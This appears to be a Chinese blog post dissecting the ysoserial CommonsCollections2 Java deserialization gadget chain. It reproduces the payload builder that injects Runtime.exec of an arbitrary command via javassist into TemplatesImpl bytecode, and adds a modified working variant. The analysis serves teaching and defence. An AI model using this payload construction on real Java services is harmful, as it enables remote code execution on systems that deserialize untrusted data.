前段时间推荐一学弟好好看看Ysoserial,中间他问了我两个问题:1)queue为什么要先用两个1占位;2)PriorityQueue的queue 已经使用transient关键字修饰,为什么还能从流中反序列化queue中的元素(参见CommonsCollections2的源码)
我之前只是看了部分分析比如drops这篇,自己没有完完全全跟过相关源码。对于第一个问题,不假思索回答了“泛型类型擦除”,确切说是元素放入队列会进行比较排序,比较器要求元素类型一致,payload这么构造是为了防止序列化过程出现异常,后面通过利用反射再将修改元素。对于第二个问题,我当时没有让人信服的答案。
这两天有时间看了源码和序列规范,真是惭愧,误人子弟了!
在寻找答案的过程中,同事也尝试通过正向的思路去理解整个payload的构造,这个思路更加直白,感兴趣的可以看看。如果单纯想知道问题答案可以直接看0x03 问题解答
1)Gadget chain
/*
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
*/
2)CommonsCollections2的getObject
public Queue<Object> getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
// mock method name until armed
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
// stub data for replacement later
queue.add(1);
queue.add(1);
// switch method called by comparator
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = 1;
return queue;
}
3)待序列化反序列化的类
既然是正向思路,自然是从反序列化的本质出发。因此,很自然第一个问题是待序列化反序列化的类是哪一个。
//java.util.PriorityQueue
4)它的readObject方法做了什么
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
queue = new Object[size];
// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}
正如PriorityQueue名字,其是优先级的队列,既然是一个有优先级的队列,必然存在区分优先级的机制--排序。
在4)中,从heapify-->siftDown-->siftDownUsingComparator
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
在siftDown中,如果成员comparator不为空,则调用siftDownUsingComparator(名字很直白)。那么comparator(比较器)从哪里来呢?看看PriorityQueue其中一个构造方法:
public PriorityQueue(int initialCapacity,
Comparator<? super E> comparator) {
// Note: This restriction of at least one is not actually needed,
// but continues for 1.5 compatibility
if (initialCapacity < 1)
throw new IllegalArgumentException();
this.queue = new Object[initialCapacity];
this.comparator = comparator;//指定比较器
}
可以在实例化指定。
5)CommonsCollections2使用了什么比较器
回顾2),使用了TransformingComparator
//org.apache.commons.collections4.comparators.TransformingComparator
siftDownUsingComparator方法调用了比较器的compare方法
public int compare(I obj1, I obj2) {
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
成员变量transformer是Transformer类型(调用它的transform方法,嗅到CommonsCollection1中熟悉的味道)。
6)Transformer具体实现类是哪一个
回顾2),使用了InvokerTransformer
//ysoserial.payloads.CommonsCollections2
当然还是熟悉的InvokerTransformer。
类比CommonsCollections1
,通过ChainedTransformer
将InvokerTransformer
和ConstantTransformer
串起来完全够用了。即:ChainedTransformer
承载执行命令的payload
;TransformingComparator
承载ChainedTransformer
;PriorityQueue
对队列元素排序调用TransformingComparator
的compare
方法触发。
不知道作者 为什么要复杂化。当然,一方面可能存在某些局限我没有发现;另一方面,更复杂的链的确需要更深的功底,不得不佩服。
(下面还是顺着复杂的继续看下去)
7)PriorityQueue队列中放置了什么元素
一开始放置了两个“1”占位,后面通过反射将其中之一换为templates(这里引出第一个问题)。跟进templates生成过程:
public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
throws Exception {
final T templates = tplClass.newInstance();
// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
"\");";
clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
final byte[] classBytes = clazz.toBytecode();
// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}
使用javassist修改字节码,javassist是一个使用广泛的修改字节码的库,另外还有两个常用的库是asm和cglib。
上面代码做了几件事:
整理一下,最重要的命令执行已经插入了,待序列化和反序列化的类已经准备...一切就绪,看看流程是怎么串起来。
8)回头看5),InvokerTransformer的transform方法将会被调用:
public O transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class<?> cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var4) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6);
}
}
}
回头看2)InvokerTransformer的iMethodName已经已经指定为newTransformer。
9)org.apache.xalan.xsltc.trax.TemplatesImpl的newTransformer
结合5)和8,org.apache.xalan.xsltc.trax.TemplatesImpl的newTransformer方法将会被调用:
public synchronized Transformer newTransformer() throws TransformerConfigurationException {
TransformerImpl transformer = new TransformerImpl(this.getTransletInstance(),//需要跟进
this._outputProperties, this._indentNumber, this._tfactory);
if (this._uriResolver != null) {
transformer.setURIResolver(this._uriResolver);
}
if (this._tfactory.getFeature("http://javax.xml.XMLConstants/feature/secure-processing")) {
transformer.setSecureProcessing(true);
}
return transformer;
}
10)org.apache.xalan.xsltc.trax.TemplatesImpl的getTransletInstance
接着看this.getTransletInstance
private Translet getTransletInstance() throws TransformerConfigurationException {
ErrorMsg err;
try {
if (this._name == null) {
return null;
} else {
if (this._class == null) {
this.defineTransletClasses();//需要跟进
}
AbstractTranslet translet = (AbstractTranslet)this._class[this._transletIndex].newInstance();//回头看
translet.postInitialization();
translet.setTemplates(this);
if (this._auxClasses != null) {
translet.setAuxiliaryClasses(this._auxClasses);
}
//省略部分源码
}
11)org.apache.xalan.xsltc.trax.TemplatesImpl的gdefineTransletClasses:
private void defineTransletClasses() throws TransformerConfigurationException {
if (this._bytecodes == null) {
ErrorMsg err = new ErrorMsg("NO_TRANSLET_CLASS_ERR");
throw new TransformerConfigurationException(err.toString());
} else {
TemplatesImpl.TransletClassLoader loader = (TemplatesImpl.TransletClassLoader)AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TemplatesImpl.TransletClassLoader(ObjectFactory.findClassLoader());
}
});
ErrorMsg err;
try {
int classCount = this._bytecodes.length;
this._class = new Class[classCount];
if (classCount > 1) {
this._auxClasses = new Hashtable();
}
for(int i = 0; i < classCount; ++i) {
this._class[i] = loader.defineClass(this._bytecodes[i]);
Class superClass = this._class[i].getSuperclass();
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
this._transletIndex = i;
} else {
this._auxClasses.put(this._class[i].getName(), this._class[i]);
}
}
//省略部分源码
}
12)获取到对象的字节码之后,就可以实例化对象了:
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
//实例化StubTransletPayload对象,触发通过javassist插入的命令执行代码
PriorityQueue承载TemplatesImpl,TemplatesImpl的_bytecodes装载StubTransletPayload字节码,通过javassist修改StubTransletPayload字节码插入命令执行,PriorityQueue的排序使用比较器TransformingComparator,比较器触发InvokerTransformer的transform,transform最终触发StubTransletPayload实例化,进而造成命令执行。
1)queue为什么要先用两个1占位?
public Queue<Object> getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
// mock method name until armed
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
// stub data for replacement later
queue.add(1);
queue.add(1);
实话说,其实我也不知道。但是我最初的说法(比较器要求元素类型一致,payload这么构造是为了防止序列化过程出现异常)肯定不严谨。
简单分析
a.泛型
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
PriorityQueue指定Object,1会被装箱成Integer,和templates都是Object的子类,因此这里编译不会有问题。
b.比较
i. 如果放进PriorityQueue的元素不一致,会不会在比较时出现问题呢?
public int compare(I obj1, I obj2) {
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
回答上面的问题,需要看上面this.decorated.compare(value1, value2)会不会有问题。
ii. 看看this.decorated
public TransformingComparator(Transformer<? super I, ? extends O> transformer) {
this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
}
public TransformingComparator(Transformer<? super I, ? extends O> transformer, Comparator<O> decorated) {
this.decorated = decorated;//ComparatorUtils.NATURAL_COMPARATOR
this.transformer = transformer;
}
iii. ComparatorUtils.NATURAL_COMPARATOR 是何物
public class ComparableComparator<E extends Comparable<? super E>> implements Comparator<E>, Serializable {
private static final long serialVersionUID = -291439688585137865L;
public static final ComparableComparator INSTANCE = new ComparableComparator();
public static <E extends Comparable<? super E>> ComparableComparator<E> comparableComparator() {
return INSTANCE;
}
public ComparableComparator() {
}
public int compare(E obj1, E obj2) {
return obj1.compareTo(obj2);//元素的比较逻辑落在这里
}
iv. 再回头看看i中value1和value2是什么
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
因为InvokerTransformer在初始化时已经指定toString,所以调用其transform方法就会得到String。既然都是String,比较当然没有问题!
事实上,将CommsCollections2改造成如下也没有毛病
public Queue<Object> getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
// mock method name until armed
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
// stub data for replacement later
queue.add(templates);
queue.add(new VerifyError("nothing"));
// switch method called by comparator
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
// switch contents of queue
//final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
//queueArray[0] = templates;
//queueArray[1] = 1;
return queue;
}
所以,作者为什么这么写,也许更加优雅吧。
2)PriorityQueue的queue 已经使用transient关键字修饰,为什么还能从流中反序列化queue中的元素?
成员使用transient关键字修饰,的确是为了序列化时不写入流中(该成员可能含有敏感信息,出于保护不写入)。这一点可以从序列化的文件中验证:
但是,序列化规范允许待序列化的类实现writeObject方法,实现对自己的成员控制权。
PriorityQueue的确实现类writeObject方法,将队列中的元素写入流中:
private void writeObject(java.io.ObjectOutputStream s)
throws java.io.IOException{
// Write out element count, and any hidden stuff
s.defaultWriteObject();
// Write out array length, for compatibility with 1.5 version
s.writeInt(Math.max(2, size + 1));
// Write out all elements in the "proper order".
for (int i = 0; i < size; i++)
s.writeObject(queue[i]);
}
正是因为如下,readObject才可以从输入流中读取队列元素
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
queue = new Object[size];
// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}
0x04 参考
http://drops.wooyun.org/papers/14317
https://docs.oracle.com/javase/8/docs/platform/serialization/spec/serialTOC.html